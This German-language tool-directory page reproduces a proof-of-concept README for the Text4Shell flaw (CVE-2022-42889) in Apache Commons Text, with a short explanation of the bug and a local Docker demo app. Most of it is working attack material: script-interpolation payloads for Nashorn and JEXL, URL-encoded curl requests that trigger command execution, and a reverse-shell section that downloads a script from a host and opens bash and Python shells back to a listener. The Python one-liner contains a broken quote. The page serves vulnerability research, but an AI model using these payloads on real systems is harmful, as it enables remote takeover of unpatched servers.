Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-42889-text4shell — CVE-2022-42889 auch bekannt als Text4Shell-Forschung & PoC | Kitploit
Tools/GitHubGitHub/cxzero/cve-2022-42889-text4shell
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubcxzero/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

CVE-2022-42889 auch bekannt als Text4Shell-Forschung & PoC

Repository anzeigen
203vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-42889 alias text4shell

PoC für die kürzlich entdeckte Schwachstelle in Apache Commons Text von @pwntester:

Wie auf https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/ erwähnt:

Die Schwachstelle besteht im StringSubstitutor Interpolator-Objekt. Ein Interpolator wird durch die Methode StringSubstitutor.createInterpolator() erstellt und ermöglicht String-Nachschlagevorgänge, wie in StringLookupFactory definiert. Dies kann durch Übergabe einer Zeichenkette „${prefix:name}“ ausgenutzt werden, wobei das Präfix das genannte Nachschlagewerk ist. Die Verwendung der Nachschlagevorgänge „script“, „dns“ oder „url“ würde es einer manipulierten Zeichenkette ermöglichen, beliebige Skripte auszuführen, wenn sie an das Interpolator-Objekt übergeben wird.

Betroffene Versionen

Die betroffenen Apache Commons Text Versionen sind 1.5 bis 1.9. Es wurde in Version 1.10 behoben.

Voraussetzungen für die Ausnutzung

  • Ausführen einer Version von Apache Commons Text von Version 1.5 bis 1.9
  • Verwendung der StringSubstitutor Interpolator-Klasse

Um aus der Ferne ausgenutzt zu werden, muss vom Angreifer kontrollierte Eingabe als Eingabe für die StringSubstitutor-Interpolation verwendet werden. Insbesondere in den Methoden StringSubstitutor.replace() oder StringSubstitutor.replaceIn()

Andere JavaScript-Script-Engines

Seit JDK 15 wurde die Nashorn JavaScript Engine entfernt: https://openjdk.org/jeps/372. Aber wenn Abhängigkeiten von Drittanbietern wie JEXL enthalten sind, könnte RCE in Apache Commnos Text auftreten (https://twitter.com/pwntester/status/1582321752566161409)

Ausnutzung

script Interpolator

Er kann ausgenutzt werden, um RCE zu erlangen.

JDK < 15

Nashorn-Engine:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

Bei Verwendung von JEXL von Drittanbietern:

root@kitploit:~
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}

dns Interpolator

Es kann zu einem DNS-Lookup führen:

root@kitploit:~
${dns:address|commons.apache.org}

url Interpolator

Es verbindet sich mit der angegebenen URL und versucht, den Inhalt abzurufen:

root@kitploit:~
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

Manuelle Kompilierung des PoC

Template basierend auf https://start.spring.io/

root@kitploit:~
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar 

Ausführen der App in Docker

Mit JVM 11

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell 

Mit JVM 19

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell 

Bereitgestellte PoCs

Es werden verschiedene Endpunkte bereitgestellt, um die genannten Angriffsvektoren zu testen.

/poc1

image

root@kitploit:~
curl http://localhost:8080/poc1

image

/poc2

image

root@kitploit:~
curl http://localhost:8080/poc2

image

/poc3

image

root@kitploit:~
curl http://localhost:8080/poc3

image

/message?text=

root@kitploit:~
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

image

Mit Nashorn:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

image image

Mit JEXL:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D

image

image

Eine Reverse Shell erhalten

Der Einfachheit halber verwende ich das Standard-Docker-Interface für den Netcat-Listener. Nach einigem Herumprobieren bin ich auf diese Payloads mit Bash- und Python-Reverse-Shells gekommen, die gut funktionieren:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}

Wobei rev.sh mit diesen möglichen Inhalten bereitgestellt wird:

root@kitploit:~
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image image

image image

Referenzen

  • https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
  • https://sysdig.com/blog/cve-2022-42889-text4shell/
  • https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
  • https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
  • https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
  • https://twitter.com/pwntester/status/1583189642471706624
  • https://twitter.com/pyn3rd/status/1582729285005037568
  • https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

Danksagungen an andere PoCs

  • https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
  • https://github.com/korteke/CVE-2022-42889-POC
  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
  • https://github.com/kljunowsky/CVE-2022-42889-text4shell
  • https://github.com/securekomodo/text4shell-poc
Tool herunterladen